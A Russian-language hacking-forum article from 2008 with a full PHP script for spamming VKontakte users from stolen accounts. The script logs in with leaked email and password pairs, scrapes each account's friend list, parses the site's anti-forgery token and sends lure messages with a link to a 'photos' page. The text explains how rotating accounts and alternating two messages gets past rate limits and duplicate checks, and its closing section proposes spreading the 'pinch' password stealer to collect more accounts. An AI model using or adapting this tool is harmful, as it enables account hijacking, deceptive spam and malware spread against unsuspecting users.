Спам социальных сетей на примере вконтакте.ру
вконтакте.ру
🕛 13.03.2008, 13:14
[0. Intro]Социальной сетью будем называть сервис, работающий в Интернете, способствующий установлению связей и обмену информацией между пользователями. С каждым днем наблюдается стремительный рост подобных сервисов, например сайт вконтакте.ру уже насчитывает более 8 млн пользователей и по рейтингу Alexa.com является самым посещаемым ресурсом ру-нета, поэтому подобные сервисы можно смело рассматривать как перспективное средство для массовых рассылок. Если реализация е-мейлового спама с каждым днем становится сложнее, то соц.сети еще не достаточно защищены от рассылок спамовых сообщений внутри них, чем конечно же грех не воспользоваться!
[1. Как подойти ]
Первым делом выясним, какие ограничения и попытки защититься от массовых рассылок есть в исследуемой соцсети. После несложного анализа методом пробок и ошибок выясняется, что суть защиты вконтакте состоит в нескольких ограничениях:
1) С 1 акка можно отправить не более 20 сообщений в сутки всем пользователям, не находящимся в числе друзей. Количество сообщений, которые можно отправить друзьям, не ограничены
2) С 1 акка можно отправить не более 1 сообщения в секунду.
3) Из N идущих подряд одинаковых сообщений, рассылаемых с одного акка, будет доставлено только одно сообщение только первому из получателей.
Больше никакой защиты в этой огромной 8миллионной системе найдено не было Даже капчи нигде нету
Как же можно этим воспользоваться?
1) Ограничение 20-в-сутки никак не обойти, поэтому чем больше у вас акков, тем больше вы отправите сообщений. + Не забывайте рассылку по друзьям акка, она неограничена.
2) Пока у 1 акка длится 1 секундная пауза, в это время можно отправлять сообщения с других акков.
3) Рассылаемые сообщения нужно рандомизировать. Достаточно подготовить 2 разных сообщения и слать их по очереди.
[2. Реализация ]
Напишем скрипт, получающий на вход акки и рассылающий сообщения по всем френдам введенных акков. Такая рассылка даст максимальный эффект, так как вероятность того, что юзер пройдет по ссылке, если получит мессагу от друга, намного больше, чем в случае, если мессага придет от левого человека.
Зададим необходимые константы и тексты писем (достаточно 2 варианта писем):
<? ///////////////////////// // vkontakte-friends spam // vspam.php // (C) diehard ///////////////////////// $accsfile = "accs.txt"; $logsfile = "logs.txt"; $host = "vkontakte.ru"; $urlfriends = "/friend.php"; // страница, откуда будем парсить френдов $urlmail = "/mail.php"; // страница, откуда будем парсить secure-код и рассылать мессаги $title[] = "Привет!"; $title[] = "Доброго времени дня!"; $message[] = "Как поживаешь? не могу разобраться как тут загружать новые фотки, а здесь http://formyfriends111.narod.ru/ давно собраны мои забавные фотки для друзей :)))"; $message[] = "привет! Как твои дела? не могу никак разобраться как загружать тут новые фотки, здесь http://formyfriends111.narod.ru/ давно собраны мои самые забавные фотки для друзей :-)";
Опишем необходимые функции для скачки страницы, записи логов и отправки мессаги.
Нужно отметить: чтобы отправить сообщение от юзера А юзеру Б нужно знать secure-код безопасной отправки (тоже видимо такая "защита"), который вычисляется на сервере и прописывается в скрытом input-е на самой странице отправки. Поэтому перед отправкой сперва загружаем эту страницу, парсим оттуда secure-код и подставляем его в запрос.
set_time_limit(0); function GetPage($domain, $path, $cookie) { $hostname = gethostbyname($domain); $responce = ""; $errnum=0;$errstr=""; $fsock = fsockopen($hostname,80,$errnum,$errstr,5); if(!$fsock) { return 0; } $headers = "GET $path HTTP/1.0\r\n". "Host: $domain\r\n". "User-Agent: Mozilla/5.0\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "$cookie". "Connection: close\r\n". "\r\n"; fwrite($fsock,$headers); while(!feof($fsock)) { $responce .= fread($fsock,1024); } fclose ($fsock); return $responce; } // статус работы будем выводить в отдельный DIV function SetStatus($status){ echo "<script>document.getElementById('statusDiv').innerHTML='$s tatus';</script>"; } // лог пишем в файл и по желанию в отдельный DIV (раскоментить echo) function SetLog($logmsg){ $fp=@fopen($GLOBALS["logsfile"], "a"); fwrite($fp, $logmsg."/r/n"); fclose($fp); //echo "<script>document.getElementById('logDiv').innerHTML = '".$logmsg."<br>'+ document.getElementById('logDiv').innerHTML;</script>"; SetStatus($logmsg); } function SendMail($from_id, $to_id, $t, $msg){ SetLog("SendMail $from_id:$to_id:$t:$msg"); // достаём secure $mailpage = GetPage($GLOBALS["host"], $GLOBALS["urlmail"]."?act=write&to=".$to_id, $GLOBALS["logincookies"][$from_id]); preg_match_all('/name="secure" value="(\w+)/', $mailpage, $mailsecure); foreach ($mailsecure[1] as $sss) {$secure=$sss;} SetLog("Parsed secure-code from ".$from_id." to ".$to_id.": ".$secure); // формируем post-запрос отправки $post="secure=$secure&photo=&to_id=$to_id&to_reply=0&act=sent&title=$t&message=$msg"; $len = strlen($post); $query = "POST ".$GLOBALS["urlmail"]." HTTP/1.1\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n". "Host: ".$GLOBALS["host"]."\r\n". $GLOBALS["logincookies"][$from_id]. "Content-Type: application/x-www-form-urlencoded\r\n". "Connection: close\r\n". "Content-Length: $len\r\n". "\r\n". "$post"; $conn = fsockopen($GLOBALS["host"], 80, $errno, $errstr, 1000); fputs($conn, $query); while (!feof($conn)) { $ss = fgets($conn, 128); } }
А теперь реализуем сам алгоритм работы программы:
Чтение акков (в формате id:emailassword)
сразу же сформируем массив кукисов $logincookies[$id], которые будут использоваться для логина под разными акками
$fp=@fopen($accsfile,"r"); while(!feof($fp)){ $account = trim(fgets($fp)); $ac = explode(":", $account); $id = $ac[0]; $email = $ac[1]; $md5 = md5($ac[2]); $accs[] = $id; $logincookies[$id] = "Cookie: remixchk=2; remixmid=$id; remixemail=$email; remixpass=$md5\r\n"; }fclose($fp);
Парсим списки френдов для каждого акка в массив $friends[$id][]:
$maxsize = 0; foreach ($accs as $curracc){ $currfriendspage = GetPage($host, $urlfriends, $logincookies[$curracc]); preg_match_all("/write&to=(\w+)/", $currfriendspage, $currfriends); foreach ($currfriends[1] as $currfriend){ $friends[$curracc][] = $currfriend; } $currsize = sizeof($friends[$curracc]); if ($currsize>$maxsize) $maxsize = $currsize; }
Для наблюдения за процессом рассылки выводим слои статуса, лога и следующую таблицу: строки=акки, столбцы=френды акков
echo "<table id='tableFr' border=1 cellspacing=0 cellpadding=0>". "<tr id='trFr0'>". "<td id='tdFr0_0'></td>"; for ($i=1;$i<=$maxsize;$i++) { echo "<td id='tdFr0_$i'>Friend$i</td>";}; echo "</tr>"; $n=1; foreach ($accs as $curracc){ echo "<tr id='trFr$n'>"; echo "<td id='tdFr".$n."_0'>id$curracc</td>"; for ($i=0;$i<sizeof($friends[$curracc]);$i++) { echo "<td id='tdFr".$n."_".($i+1)."'>".$friends[$curracc][$i]."</td>";}; for ($i=$i;$i<$maxsize;$i++) {echo "<td id='tdFr".$n."_".($i+1)."'>_</td>";}; echo "</tr>"; $n++; } echo "</table>". "<div style='border-width:1;border:1;color:#0000FF' id='statusDiv'></div><br>". "<div id='logDiv'></div>";
И наконец основной цикл программы: проходимся по-вертикали следующим образом:
сначала спамим первого френда первого акка, потом первого френда второго акка, потом первого френда третьего акка ...
потом спамим второго френда первого акка, потом второго френда второго акка, потом второго френда третьего акка ...
...
Таким образом пока первый акк простаивает установленное ему ограничение в одну секунду, рассылка продолжается на следующих акках, таким образом мы обходим защиту от множественных рассылок за единицу времени.
Чередуем текст мессаги, задавая его индекс остатком от деления на 2 текущего индекса столбца, таким образом мы обходим защиту от отправки одинаковых подряд идущих мессаг.
for($i=0;$i<$maxsize;$i++){ for($j=0;$j<sizeof($accs);$j++){ if ($i<sizeof($friends[$accs[$j]])) { echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor = '#0000FF';</script>"; SetStatus("Sending from ".$accs[$j]." to ".$friends[$accs[$j]][$i]); SendMail($accs[$j], $friends[$accs[$j]][$i], $title[$ % 2], $message[$i % 2]); echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor='#00FF00';<script>"; }} sleep(1); }
[3. Пример работы ]
Посмотреть пример работы скрипта можно по адресу: ka-ro.no/vk/vspam.php
Скрипт очень простой и является всего лишь примером реализации массовых рассылок в соцсетях. Чем больше вобъёте акков - тем более громоздкой будет выводимая таблица, поэтому рекоммендую запускать его в нескольких вариантах с разными базами акков (не больше 30). Этот скрипт был написан для использования акков выложенных недавно в разделе Халява, из них оказалось около 150 валидных, скрипт в 5 параллельных задачах поработал около получаса, в результате за несколько часов набежало до 1к уников качественного снг-траффа и он продолжает капать. Можно совершенствовать либо писать с нуля, но суть в том, что таким способом можно добывать трафф из соц.сетей.
[4. Outro ]
Как это использовать - ограничивается вашей фантазией, например можно рассылать пинч или загружать его в ифрейме, чтобы добыть новые неюзанные акки для проведения последующих рекламных рассылок или тупо сливать на партнерку. А если проводить рассылки в буржуйских соцсетях типа Facebook и при этом отбирать адресатов по географическому расопложению или по интересам (признак - приналежность к какой-нибудь группе, тут вам не нужно собирать тематические базы емейлов, когда все мемберы тематической группы перед вами)? В общем, дерзайте!
diehard
Источник